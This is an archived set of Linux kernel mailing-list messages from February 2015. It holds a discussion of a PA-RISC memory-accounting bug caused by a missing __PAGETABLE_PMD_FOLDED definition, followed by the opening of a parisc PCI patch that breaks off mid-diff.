	for glkm-linux-mm-2@m.gmane.org; Wed, 25 Feb 2015 21:47:52 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 58D246B0032; Wed, 25 Feb 2015 15:47:50 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 56F326B006C; Wed, 25 Feb 2015 15:47:50 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 479C66B006E; Wed, 25 Feb 2015 15:47:50 -0500 (EST)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-wi0-f172.google.com (mail-wi0-f172.google.com [209.85.212.172])
	by kanga.kvack.org (Postfix) with ESMTP id 0A2736B0032
	for <linux-mm@kvack.org>; Wed, 25 Feb 2015 15:47:50 -0500 (EST)
Original-Received: by mail-wi0-f172.google.com with SMTP id l15so36336465wiw.5
        for <linux-mm@kvack.org>; Wed, 25 Feb 2015 12:47:49 -0800 (PST)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:dkim-signature:date:from:to:cc:subject
         :message-id:references:mime-version:content-type:content-disposition
         :in-reply-to:user-agent;
        bh=pQqmYLSn9QuymXlEd5PFsmbgRj+k+Sc/uT8/L3UhUp8=;
        b=QAyc3X1jEWP5B5MvKqWLPGZQnPoxAApXW0o/YxjLaFnZvQFwh9SRFuf1FGbmGlEB87
         u1rMrZjtTIU9zJtInqgf70pg4ze1U3H8KsTCvnzpwylHf9GeSCV41c9s0HV6Y9y5ANVI
         /RUpOBbK1hhTdDRRthQIeNQsjoikRkF2n9PhtbN0q/eIjIobsvZoOojqOEdI8CGwW/d5
         ox0MBeuepr4WbcJe0CCY3UkU6C2MoFw/lgfa4I+IVLpee7dBf7091eeZN+ShVvBICi8w
         UFolsv+EL/QpbbKnXkOkhvwjsHVsaRE1KWsNQFs1V5uMue7G2ymKioNCVtRf7fuSLV74
         PaHQ==
X-Gm-Message-State: ALoCoQkJwGVE2mKUlG4/fY0RBUNGYuI5Qt8ySX6OT+sqw4jrYw/W/Cv9kB7PuHRBfpTyibMAicoku04Lq81p1D+P+CkvMSpBJ/pGURNilLgVB5YdXv6ZZ+0DiDDA9Js4Qth5LhdlLIaATLIAEa31Hg0pV9sRrW4mKlMdP6163niKQLF0P1sdwm805U09eEO59KcYdaC0Rg35
X-Received: by 10.194.122.233 with SMTP id lv9mr9606960wjb.95.1424897269563;
        Wed, 25 Feb 2015 12:47:49 -0800 (PST)
X-Received: by 10.194.122.233 with SMTP id lv9mr9606857wjb.95.1424897268746;
        Wed, 25 Feb 2015 12:47:48 -0800 (PST)
Original-Received: from jenni2.inet.fi (mta-out1.inet.fi. [62.71.2.227])
        by mx.google.com with ESMTP id q16si75293365wjr.33.2015.02.25.12.47.48
        for <linux-mm@kvack.org>;
        Wed, 25 Feb 2015 12:47:48 -0800 (PST)
Received-SPF: neutral (google.com: 62.71.2.227 is neither permitted nor denied by domain of kas@node.shutemov.name) client-ip=62.71.2.227;
Authentication-Results: mx.google.com;
       spf=neutral (google.com: 62.71.2.227 is neither permitted nor denied by domain of kas@node.shutemov.name) smtp.mail=kas@node.shutemov.name;
       dkim=pass header.i=@shutemov.name
Original-Received: from node.shutemov.name (80.220.224.16) by jenni2.inet.fi (8.5.142.08)
        id 54E3C70700FD7AD7; Wed, 25 Feb 2015 22:47:46 +0200
Original-Received: by node.shutemov.name (Postfix, from userid 1000)
	id 4A124409E4; Wed, 25 Feb 2015 22:47:43 +0200 (EET)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=shutemov.name;
	s=default; t=1424897263;
	bh=dNJriPeqODspvBGqhpB76fxPQ1melmYKyD7IofCxKvA=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To;
	b=DqMKsCZhYD1WXAOSy5PJCaYJaOJfXpeeuur5spz03SU1+JOcWN5+bQLluEQuq0xxn
	 f5tSl+37W5TBFDwJw7X8apGdsTxITvGvw+nY/PbzMIUIWfcdYEcX7yJdSQFNumtgqw
	 eOxmd2toFKMD1XOR6Jywwz0vPg6DSzdxcEc5OqNQ=
Content-Disposition: inline
In-Reply-To: <20150225123048.a9c97ea726f747e029b4688a@linux-foundation.org>
User-Agent: Mutt/1.5.23.1 (2014-03-12)
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:129076 gmane.linux.ports.parisc:25607
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/129076>

On Wed, Feb 25, 2015 at 12:30:48PM -0800, Andrew Morton wrote:
> On Wed, 25 Feb 2015 22:21:30 +0200 "Kirill A. Shutemov" <kirill@shutemov.name> wrote:
> 
> > On Wed, Feb 25, 2015 at 12:54:54AM +0200, Aaro Koskinen wrote:
> > > Hi,
> > > 
> > > Here's a kernel config to reproduce the issue (no special steps needed,
> > > just boot to userspace), and bootlog after that:
> > > 
> > > #
> > > # Automatically generated file; DO NOT EDIT.
> > > # Linux/parisc 4.0.0-rc1 Kernel Configuration
> > ...
> > > [   18.940000] BUG: non-zero nr_pmds on freeing mm: -6
> > 
> > It happens due missing __PAGETABLE_PMD_FOLDED in custom page table
> > folding. This has been fixed in CONFIG_PGTABLE_LEVELS patcheset.
> > 
> > Andrew, are you going to submit that patchset to Linus in this cycle?
> 
> I wasn't planning on doing so - the changelog didn't say anything about
> fixing any regressions.

My bad. Patch 18/19 of the patchset introduced assert which checks that
folded macros are not missed and fixed all cases which trigger it.

> > If not, I can prepare a patchset which only adds missing
> > __PAGETABLE_PUD_FOLDED and __PAGETABLE_PMD_FOLDED.
> 
> Something simple would be preferred, but I don't know how much simpler
> the above would be?

Not much simplier: __PAGETABLE_PMD_FOLDED is missing in frv, m32r, m68k,
mn10300, parisc and s390.

-- 
 Kirill A. Shutemov

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Morton <akpm@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm
Subject: Re: 4.0-rc1/PARISC: BUG: non-zero nr_pmds on freeing mm
Date: Wed, 25 Feb 2015 13:31:40 -0800
Lines: 20
Approved: news@gmane.org
Message-ID: <20150225133140.56cfb479cd2f4461ed4fa6d5@linux-foundation.org>
References: <20150224225454.GA14117@fuloong-minipc.musicnaut.iki.fi>
	<20150225202130.GA31491@node.dhcp.inet.fi>
	<20150225123048.a9c97ea726f747e029b4688a@linux-foundation.org>
	<20150225204743.GA31668@node.dhcp.inet.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1424899941 10714 80.91.229.3 (25 Feb 2015 21:32:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 25 Feb 2015 21:32:21 +0000 (UTC)
Cc: Aaro Koskinen <aaro.koskinen@iki.fi>,
	"Kirill A. Shutemov" <kirill.shutemov@linux.intel.com>,
	linux-parisc@vger.kernel.org, linux-mm@kvack.org
To: "Kirill A. Shutemov" <kirill@shutemov.name>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 25 22:32:15 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YQjZ0-0006fu-4l
	for glpp-linux-parisc@plane.gmane.org; Wed, 25 Feb 2015 22:32:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932081AbbBYVbm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 25 Feb 2015 16:31:42 -0500
Original-Received: from mail.linuxfoundation.org ([140.211.169.12]:36482 "EHLO
	mail.linuxfoundation.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932078AbbBYVbm (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 25 Feb 2015 16:31:42 -0500
Original-Received: from akpm3.mtv.corp.google.com (unknown [216.239.45.95])
	by mail.linuxfoundation.org (Postfix) with ESMTPSA id 600B8B03;
	Wed, 25 Feb 2015 21:31:41 +0000 (UTC)
In-Reply-To: <20150225204743.GA31668@node.dhcp.inet.fi>
X-Mailer: Sylpheed 3.4.1 (GTK+ 2.24.23; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25608 gmane.linux.kernel.mm:129078
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25608>

On Wed, 25 Feb 2015 22:47:43 +0200 "Kirill A. Shutemov" <kirill@shutemov.name> wrote:

> > > If not, I can prepare a patchset which only adds missing
> > > __PAGETABLE_PUD_FOLDED and __PAGETABLE_PMD_FOLDED.
> > 
> > Something simple would be preferred, but I don't know how much simpler
> > the above would be?
> 
> Not much simplier: __PAGETABLE_PMD_FOLDED is missing in frv, m32r, m68k,
> mn10300, parisc and s390.

I don't really know what's going on here.  Let's rewind a bit, please. 
What is the bug, what causes it, which commit caused it and why the
heck does it require a massive patchset to fix 4.0?

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kirill A. Shutemov" <kirill@shutemov.name>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.parisc
Subject: Re: 4.0-rc1/PARISC: BUG: non-zero nr_pmds on freeing mm
Date: Wed, 25 Feb 2015 23:57:57 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <20150225215757.GA23672@node.dhcp.inet.fi>
References: <20150224225454.GA14117@fuloong-minipc.musicnaut.iki.fi>
 <20150225202130.GA31491@node.dhcp.inet.fi>
 <20150225123048.a9c97ea726f747e029b4688a@linux-foundation.org>
 <20150225204743.GA31668@node.dhcp.inet.fi>
 <20150225133140.56cfb479cd2f4461ed4fa6d5@linux-foundation.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1424901500 8677 80.91.229.3 (25 Feb 2015 21:58:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 25 Feb 2015 21:58:20 +0000 (UTC)
Cc: Aaro Koskinen <aaro.koskinen@iki.fi>,
	"Kirill A. Shutemov" <kirill.shutemov@linux.intel.com>,
	linux-parisc@vger.kernel.org, linux-mm@kvack.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: owner-linux-mm@kvack.org Wed Feb 25 22:58:09 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1YQjy4-0007A5-P6
	for glkm-linux-mm-2@m.gmane.org; Wed, 25 Feb 2015 22:58:09 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 0D98E6B0032; Wed, 25 Feb 2015 16:58:06 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 063676B006C; Wed, 25 Feb 2015 16:58:06 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id E6D1D6B006E; Wed, 25 Feb 2015 16:58:05 -0500 (EST)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-wg0-f52.google.com (mail-wg0-f52.google.com [74.125.82.52])
	by kanga.kvack.org (Postfix) with ESMTP id A61626B0032
	for <linux-mm@kvack.org>; Wed, 25 Feb 2015 16:58:05 -0500 (EST)
Original-Received: by wghk14 with SMTP id k14so6456363wgh.4
        for <linux-mm@kvack.org>; Wed, 25 Feb 2015 13:58:05 -0800 (PST)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:dkim-signature:date:from:to:cc:subject
         :message-id:references:mime-version:content-type:content-disposition
         :in-reply-to:user-agent;
        bh=/QFegNjtFt++WxxMZbhrzkZ7QPHYUpSnTuwQM7Qeg1c=;
        b=ccNJ/9eCRxTOMXPojUz63GJ3vVZG9JSDt4uwpwT/zVKaeKcu/JNEXK2pdzH40WAgDc
         HmpcZR1xHRfLsB0fSjJaWQ4RimqAe6zSlUc/CQ5P3iZUtdyVe3NjQon78pPnI6gAcznz
         Bbhtb/nuxsHHauhk7yoQJg+zk542o9qPcHoaioC+GktDQP8oGOWujFGGfMifxlr3RnF3
         pwmFfOIcdMQn3QY02EoSPU9vMoaHmd+xPbTQlIg+sLqjiNC8R44MoM8uDYv+algs1QbQ
         ge7DH6UddttK7WRQcyEK1VGgy0X8jNIoho1Az6U24TKdw4Pe3E2BDyjgCYmDT1M6Xgmc
         Dklg==
X-Gm-Message-State: ALoCoQm3YElHR3XuwIwEAowfZuVCp6p0Yo9dx3JpGOgXFqjZlX/xm0RfR1ESA5vwpNcjxOEkKOn/PFdXkKTJxmeJVQSvAn4AeTzq0CQVDv9E2GpjdjJ3KdlodZ9YbyCnbMW9v05Pf+VQcpDxixFUNh28i78S6RZxAMw58OA7N6au0zW/xLcsS56UnQKlRLppd0wXGmsH+waJ
X-Received: by 10.180.149.242 with SMTP id ud18mr10337303wib.94.1424901485357;
        Wed, 25 Feb 2015 13:58:05 -0800 (PST)
X-Received: by 10.180.149.242 with SMTP id ud18mr10337160wib.94.1424901483963;
        Wed, 25 Feb 2015 13:58:03 -0800 (PST)
Original-Received: from jenni2.inet.fi (mta-out1.inet.fi. [62.71.2.203])
        by mx.google.com with ESMTP id lx9si75474742wjb.182.2015.02.25.13.58.03
        for <linux-mm@kvack.org>;
        Wed, 25 Feb 2015 13:58:03 -0800 (PST)
Received-SPF: neutral (google.com: 62.71.2.203 is neither permitted nor denied by domain of kas@node.shutemov.name) client-ip=62.71.2.203;
Authentication-Results: mx.google.com;
       spf=neutral (google.com: 62.71.2.203 is neither permitted nor denied by domain of kas@node.shutemov.name) smtp.mail=kas@node.shutemov.name;
       dkim=pass header.i=@shutemov.name
Original-Received: from node.shutemov.name (80.220.224.16) by jenni2.inet.fi (8.5.142.08)
        id 54E3C70700FED3A1; Wed, 25 Feb 2015 23:58:01 +0200
Original-Received: by node.shutemov.name (Postfix, from userid 1000)
	id 1D753409E4; Wed, 25 Feb 2015 23:57:57 +0200 (EET)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=shutemov.name;
	s=default; t=1424901478;
	bh=KgKVsH9cvpMTaWhxAfATBSiMCE+HNdfzR+IaYDYHLeo=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To;
	b=L9nAUQbYwQOKD5DRK7JFEmcDBMKhJ5UTqMFwMvJXP/VUWniIEZNolg6O1StyfJLEc
	 irw9K/p155onS4w1wBzlHQ0da6AeiZKTeFIimIOsz8JgPtgKZEjpkk//zyd9amvEMf
	 fFUIJ2jbjj8P9qEOvlbziCj/U211hwDJgrNzKFBw=
Content-Disposition: inline
In-Reply-To: <20150225133140.56cfb479cd2f4461ed4fa6d5@linux-foundation.org>
User-Agent: Mutt/1.5.23.1 (2014-03-12)
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:129082 gmane.linux.ports.parisc:25609
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/129082>

On Wed, Feb 25, 2015 at 01:31:40PM -0800, Andrew Morton wrote:
> On Wed, 25 Feb 2015 22:47:43 +0200 "Kirill A. Shutemov" <kirill@shutemov.name> wrote:
> 
> > > > If not, I can prepare a patchset which only adds missing
> > > > __PAGETABLE_PUD_FOLDED and __PAGETABLE_PMD_FOLDED.
> > > 
> > > Something simple would be preferred, but I don't know how much simpler
> > > the above would be?
> > 
> > Not much simplier: __PAGETABLE_PMD_FOLDED is missing in frv, m32r, m68k,
> > mn10300, parisc and s390.
> 
> I don't really know what's going on here.  Let's rewind a bit, please. 
> What is the bug, what causes it, which commit caused it and why the
> heck does it require a massive patchset to fix 4.0?

PMD accounting happens in __pmd_alloc() and free_pmd_range(). PMD
accounting only makes sense on architectures with 3 or more page tables
levels. We use __PAGETABLE_PMD_FOLDED to check whether the PMD page table
level exists.

Unfortunately, some architectures don't use <asm-generic/pgtable-nopmd.h>
to indicate that PMD level doesn't exists and fold it in a custom way.
Some of them don't define __PAGETABLE_PMD_FOLDED as pgtable-nopmd.h does.

Missing __PAGETABLE_PMD_FOLDED causes undeflow of mm->nr_pmds:
__pmd_alloc() is never called, but we decrement mm->nr_pmds in
free_pmd_range().

These architecures need to be fixed to define __PAGETABLE_PMD_FOLDED too.

I can do in one patch if you want. Or split per-arch. After that
CONFIG_PGTABLE_LEVELS patchset will require rebasing.

-- 
 Kirill A. Shutemov

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Morton <akpm@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm
Subject: Re: 4.0-rc1/PARISC: BUG: non-zero nr_pmds on freeing mm
Date: Wed, 25 Feb 2015 14:13:58 -0800
Lines: 43
Approved: news@gmane.org
Message-ID: <20150225141358.8bd74b14c6e1ae039d25dc1c@linux-foundation.org>
References: <20150224225454.GA14117@fuloong-minipc.musicnaut.iki.fi>
	<20150225202130.GA31491@node.dhcp.inet.fi>
	<20150225123048.a9c97ea726f747e029b4688a@linux-foundation.org>
	<20150225204743.GA31668@node.dhcp.inet.fi>
	<20150225133140.56cfb479cd2f4461ed4fa6d5@linux-foundation.org>
	<20150225215757.GA23672@node.dhcp.inet.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1424902454 26616 80.91.229.3 (25 Feb 2015 22:14:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 25 Feb 2015 22:14:14 +0000 (UTC)
Cc: Aaro Koskinen <aaro.koskinen@iki.fi>,
	"Kirill A. Shutemov" <kirill.shutemov@linux.intel.com>,
	linux-parisc@vger.kernel.org, linux-mm@kvack.org
To: "Kirill A. Shutemov" <kirill@shutemov.name>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 25 23:14:05 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YQkDQ-00005p-SW
	for glpp-linux-parisc@plane.gmane.org; Wed, 25 Feb 2015 23:14:01 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753611AbbBYWOA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 25 Feb 2015 17:14:00 -0500
Original-Received: from mail.linuxfoundation.org ([140.211.169.12]:37756 "EHLO
	mail.linuxfoundation.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752953AbbBYWOA (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 25 Feb 2015 17:14:00 -0500
Original-Received: from akpm3.mtv.corp.google.com (unknown [216.239.45.95])
	by mail.linuxfoundation.org (Postfix) with ESMTPSA id 48557AE1;
	Wed, 25 Feb 2015 22:13:59 +0000 (UTC)
In-Reply-To: <20150225215757.GA23672@node.dhcp.inet.fi>
X-Mailer: Sylpheed 3.4.1 (GTK+ 2.24.23; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25610 gmane.linux.kernel.mm:129087
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25610>

On Wed, 25 Feb 2015 23:57:57 +0200 "Kirill A. Shutemov" <kirill@shutemov.name> wrote:

> On Wed, Feb 25, 2015 at 01:31:40PM -0800, Andrew Morton wrote:
> > On Wed, 25 Feb 2015 22:47:43 +0200 "Kirill A. Shutemov" <kirill@shutemov.name> wrote:
> > 
> > > > > If not, I can prepare a patchset which only adds missing
> > > > > __PAGETABLE_PUD_FOLDED and __PAGETABLE_PMD_FOLDED.
> > > > 
> > > > Something simple would be preferred, but I don't know how much simpler
> > > > the above would be?
> > > 
> > > Not much simplier: __PAGETABLE_PMD_FOLDED is missing in frv, m32r, m68k,
> > > mn10300, parisc and s390.
> > 
> > I don't really know what's going on here.  Let's rewind a bit, please. 
> > What is the bug, what causes it, which commit caused it and why the
> > heck does it require a massive patchset to fix 4.0?
> 
> PMD accounting happens in __pmd_alloc() and free_pmd_range(). PMD
> accounting only makes sense on architectures with 3 or more page tables
> levels. We use __PAGETABLE_PMD_FOLDED to check whether the PMD page table
> level exists.
> 
> Unfortunately, some architectures don't use <asm-generic/pgtable-nopmd.h>
> to indicate that PMD level doesn't exists and fold it in a custom way.
> Some of them don't define __PAGETABLE_PMD_FOLDED as pgtable-nopmd.h does.
> 
> Missing __PAGETABLE_PMD_FOLDED causes undeflow of mm->nr_pmds:
> __pmd_alloc() is never called, but we decrement mm->nr_pmds in
> free_pmd_range().
> 
> These architecures need to be fixed to define __PAGETABLE_PMD_FOLDED too.
> 
> I can do in one patch if you want. Or split per-arch. After that
> CONFIG_PGTABLE_LEVELS patchset will require rebasing.

I guess one patch will be OK - arch maintainers will be able
review/apply/test that easily enough.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Yijing Wang <wangyijing@huawei.com>
Newsgroups: gmane.linux.kernel.pci,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.alpha,gmane.linux.ports.parisc
Subject: [PATCH v3 22/30] PCI/Parisc: Use pci_scan_root_bus() for simplicity
Date: Thu, 26 Feb 2015 09:29:39 +0800
Lines: 94
Approved: news@gmane.org
Message-ID: <1424914187-21027-23-git-send-email-wangyijing@huawei.com>
References: <1424914187-21027-1-git-send-email-wangyijing@huawei.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1424914389 9416 80.91.229.3 (26 Feb 2015 01:33:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 26 Feb 2015 01:33:09 +0000 (UTC)
Cc: Jiang Liu <jiang.liu@linux.intel.com>, <linux-pci@vger.kernel.org>,
	Yinghai Lu <yinghai@kernel.org>,
	<linux-kernel@vger.kernel.org>,
	Marc Zyngier <marc.zyngier@arm.com>,
	<linux-arm-kernel@lists.infradead.org>,
	Russell King <linux@arm.linux.org.uk>, <x86@kernel.org>,
	Thomas Gleixner <tglx@linutronix.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Rusty Russell <rusty@rustcorp.com.au>,
	Tony Luck <tony.luck@intel.com>, <linux-ia64@vger.kernel.org>,
	"David S. Miller" <davem@davemloft.net>,
	"Guan Xuetao" <gxt@mprc.pku.edu.cn>, <linux-alpha@vger.kernel.org>,
	<linux-m68k@lists.linux-m68k.org>, Liviu Dudau <liviu@dudau.co.uk>,
	"Arnd Bergmann" <arnd@arndb.de>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	"Yijing Wang" <wangyijing@huawei.com>,
	Yijing Wang <wangyijing0307@gmail.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	<linux-parisc@vger.kernel.org>
To: Bjorn Helgaas <bhelgaas@google.com>
Original-X-From: linux-pci-owner@vger.kernel.org Thu Feb 26 02:33:06 2015
Return-path: <linux-pci-owner@vger.kernel.org>
Envelope-to: glp-linux-pci@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-pci-owner@vger.kernel.org>)
	id 1YQnK0-0007ym-Qe
	for glp-linux-pci@plane.gmane.org; Thu, 26 Feb 2015 02:33:01 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752646AbbBZBcb (ORCPT <rfc822;glp-linux-pci@m.gmane.org>);
	Wed, 25 Feb 2015 20:32:31 -0500
Original-Received: from szxga03-in.huawei.com ([119.145.14.66]:45826 "EHLO
	szxga03-in.huawei.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753472AbbBZBc2 (ORCPT
	<rfc822;linux-pci@vger.kernel.org>); Wed, 25 Feb 2015 20:32:28 -0500
Original-Received: from 172.24.2.119 (EHLO szxeml430-hub.china.huawei.com) ([172.24.2.119])
	by szxrg03-dlp.huawei.com (MOS 4.4.3-GA FastPath queued)
	with ESMTP id BCI19502;
	Thu, 26 Feb 2015 09:32:23 +0800 (CST)
Original-Received: from localhost.localdomain (10.175.100.166) by
 szxeml430-hub.china.huawei.com (10.82.67.185) with Microsoft SMTP Server id
 14.3.158.1; Thu, 26 Feb 2015 09:32:11 +0800
X-Mailer: git-send-email 1.7.1
In-Reply-To: <1424914187-21027-1-git-send-email-wangyijing@huawei.com>
X-Originating-IP: [10.175.100.166]
X-CFilter-Loop: Reflected
X-Mirapoint-Virus-RAPID-Raw: score=unknown(0),
	refid=str=0001.0A020203.54EE77A8.0035,ss=1,re=0.001,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0,
	ip=0.0.0.0,
	so=2013-05-26 15:14:31,
	dmn=2013-03-21 17:37:32
X-Mirapoint-Loop-Id: f1ace0e1cd481be88a875401049856eb
Original-Sender: linux-pci-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-pci.vger.kernel.org>
X-Mailing-List: linux-pci@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.pci:39342 gmane.linux.kernel:1895107 gmane.linux.ports.arm.kernel:395439 gmane.linux.ports.ia64:25048 gmane.linux.ports.alpha:2690 gmane.linux.ports.parisc:25611
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.pci/39342>

From: Yijing Wang <wangyijing0307@gmail.com>

Now pci_bus_add_devices() has been ripped out
from pci_scan_root_bus(), we could use pci_scan_root_bus()
instead of pci_create_root_bus() + pci_scan_child_bus()
for simplicity. We could also remove the pci bus
resource(dino_current_bus,255) and pci_bus_update_busn_res_end(),
because pci_scan_root_bus() would do the same thing.

Signed-off-by: Yijing Wang <wangyijing@huawei.com>
CC: "James E.J. Bottomley" <jejb@parisc-linux.org>
CC: linux-parisc@vger.kernel.org
---
 drivers/parisc/dino.c    |   11 ++---------
 drivers/parisc/lba_pci.c |    7 ++-----
 2 files changed, 4 insertions(+), 14 deletions(-)

diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
index a0580af..e5ee339 100644
--- a/drivers/parisc/dino.c
+++ b/drivers/parisc/dino.c
@@ -977,15 +977,11 @@ static int __init dino_probe(struct parisc_device *dev)
 	if (dino_dev->hba.gmmio_space.flags)
 		pci_add_resource(&resources, &dino_dev->hba.gmmio_space);
 
-	dino_dev->hba.bus_num.start = dino_current_bus;
-	dino_dev->hba.bus_num.end = 255;
-	dino_dev->hba.bus_num.flags = IORESOURCE_BUS;
-	pci_add_resource(&resources, &dino_dev->hba.bus_num);
 	/*
 	** It's not used to avoid chicken/egg problems
 	** with configuration accessor functions.
 	*/
-	dino_dev->hba.hba_bus = bus = pci_create_root_bus(&dev->dev,
+	dino_dev->hba.hba_bus = bus = pci_scan_root_bus(&dev->dev,
 			 dino_current_bus, &dino_cfg_ops, NULL, &resources);
 	if (!bus) {
